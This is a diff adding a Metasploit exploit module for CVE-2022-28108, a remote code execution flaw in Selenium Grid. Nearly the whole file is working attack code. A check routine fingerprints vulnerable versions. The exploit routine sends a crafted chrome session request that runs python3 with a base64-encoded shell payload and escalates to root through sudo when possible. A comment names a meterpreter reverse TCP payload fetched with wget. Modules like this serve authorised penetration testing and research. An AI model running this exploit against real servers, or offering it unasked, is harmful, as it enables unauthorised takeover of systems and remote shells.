|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Selenium chrome RCE', |
| 17 | + 'Description' => %q{ |
| 18 | + Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types |
| 19 | + such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. |
| 20 | + }, |
| 21 | + 'Author' => [ |
| 22 | + 'randomstuff (Gabriel Corona)', # Exploit development |
| 23 | + 'Wiz Research', # Vulnerability research |
| 24 | + 'Takahiro Yokoyama' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => [ |
| 28 | + ['CVE', '2022-28108'], |
| 29 | + ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'], |
| 30 | + ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'], |
| 31 | + ], |
| 32 | + 'Payload' => {}, |
| 33 | + 'Platform' => %w[linux], |
| 34 | + 'Targets' => [ |
| 35 | + [ |
| 36 | + 'Linux Command', { |
| 37 | + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, |
| 38 | + 'DefaultOptions' => { |
| 39 | + # tested cmd/linux/http/x64/meterpreter_reverse_tcp |
| 40 | + 'FETCH_COMMAND' => 'WGET' |
| 41 | + } |
| 42 | + } |
| 43 | + ], |
| 44 | + ], |
| 45 | + 'DefaultOptions' => { |
| 46 | + 'FETCH_DELETE' => true |
| 47 | + }, |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DisclosureDate' => '2022-04-18', |
| 50 | + 'Notes' => { |
| 51 | + 'Stability' => [ CRASH_SAFE, ], |
| 52 | + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], |
| 53 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 54 | + } |
| 55 | + ) |
| 56 | + ) |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + Opt::RPORT(4444), |
| 60 | + ] |
| 61 | + ) |
| 62 | + end |
| 63 | + |
| 64 | + def check |
| 65 | + # Request for Selenium Grid version 4 |
| 66 | + v4res = send_request_cgi({ |
| 67 | + 'method' => 'GET', |
| 68 | + 'uri' => normalize_uri(target_uri.path, 'status') |
| 69 | + }) |
| 70 | + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document && |
| 71 | + v4res.get_json_document.include?('value') && |
| 72 | + v4res.get_json_document['value'].include?('message') && |
| 73 | + v4res.get_json_document['value']['message'].downcase.include?('selenium grid') |
| 74 | + |
| 75 | + # Request for Selenium Grid version 3 |
| 76 | + v3res = send_request_cgi({ |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => normalize_uri(target_uri.path) |
| 79 | + }) |
| 80 | + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 |
| 81 | + |
| 82 | + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } |
| 83 | + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code |
| 84 | + |
| 85 | + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] |
| 86 | + begin |
| 87 | + json_data = JSON.parse(json_str) |
| 88 | + rescue JSON::ParserError |
| 89 | + return Exploit::CheckCode::Unknown('Unable to determine the version.') |
| 90 | + end |
| 91 | + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] |
| 92 | + |
| 93 | + # Extract the version |
| 94 | + version = Rex::Version.new(json_data['version']) |
| 95 | + if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version |
| 96 | + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") |
| 97 | + end |
| 98 | + |
| 99 | + CheckCode::Appears("Version #{version} detected, which is vulnerable.") |
| 100 | + end |
| 101 | + |
| 102 | + def exploit |
| 103 | + b64encoded_payload = Rex::Text.encode_base64( |
| 104 | + "if sudo -n true 2>/dev/null; then\n"\ |
| 105 | + " echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\ |
| 106 | + "else\n"\ |
| 107 | + " #{payload.encoded}\n"\ |
| 108 | + "fi\n" |
| 109 | + ) |
| 110 | + |
| 111 | + # Create the request body as a Ruby hash and then convert it to JSON |
| 112 | + body = { |
| 113 | + 'capabilities' => { |
| 114 | + 'alwaysMatch' => { |
| 115 | + 'browserName' => 'chrome', |
| 116 | + 'goog:chromeOptions' => { |
| 117 | + 'binary' => '/usr/bin/python3', |
| 118 | + 'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"] |
| 119 | + } |
| 120 | + } |
| 121 | + } |
| 122 | + }.to_json |
| 123 | + |
| 124 | + res = send_request_cgi({ |
| 125 | + 'method' => 'POST', |
| 126 | + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), |
| 127 | + 'headers' => { 'Content-Type' => 'text/plain' }, |
| 128 | + 'data' => body |
| 129 | + }) |
| 130 | + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res |
| 131 | + end |
| 132 | + |
| 133 | +end |
0 commit comments